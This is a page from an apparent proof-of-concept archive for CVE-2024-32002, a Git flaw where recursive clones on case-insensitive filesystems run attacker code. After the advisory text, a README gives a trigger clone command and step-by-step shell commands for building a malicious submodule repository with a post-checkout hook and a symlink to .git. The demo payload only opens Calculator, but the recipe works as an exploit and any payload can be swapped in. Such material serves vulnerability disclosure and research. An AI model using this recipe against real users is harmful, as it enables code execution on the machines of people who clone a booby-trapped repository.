Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2024-32002 PoC — Git's recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution

Source
Associated Vulnerability
Title:Git's recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution (CVE-2024-32002)
Description:Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a `.git/` directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4. If symbolic link support is disabled in Git (e.g. via `git config --global core.symlinks false`), the described attack won't work. As always, it is best to avoid cloning repositories from untrusted sources.
Readme
# CVE-2024-32002
A simple proof-of-concept that executes Calculator (macOS example only). When using `git clone --recursive` command, this repo will also pull https://github.com/markuta/hooky, which contains a `post-checkout` script. Mostly based on the commit fix [t7406-submodule-update.sh](https://github.com/git/git/blob/97065761333fd62db1912d81b489db938d8c991d/t/t7406-submodule-update.sh#L1182) file.

## Run
> **Note**: Versions prior to `2.45.1`, `2.44.1`, `2.43.4`, `2.42.2`, `2.41.1`, `2.40.2`, and `2.39.4` are vulnerable.
```
git clone --recursive github.com/markuta/CVE-2024-32002
```

## Create your own repositories
```
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks 
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"

# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink
```

## Further info
More info about the vulnerability can be found [here](https://github.blog/2024-05-14-securing-git-addressing-5-new-vulnerabilities/) and [here](https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv).
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →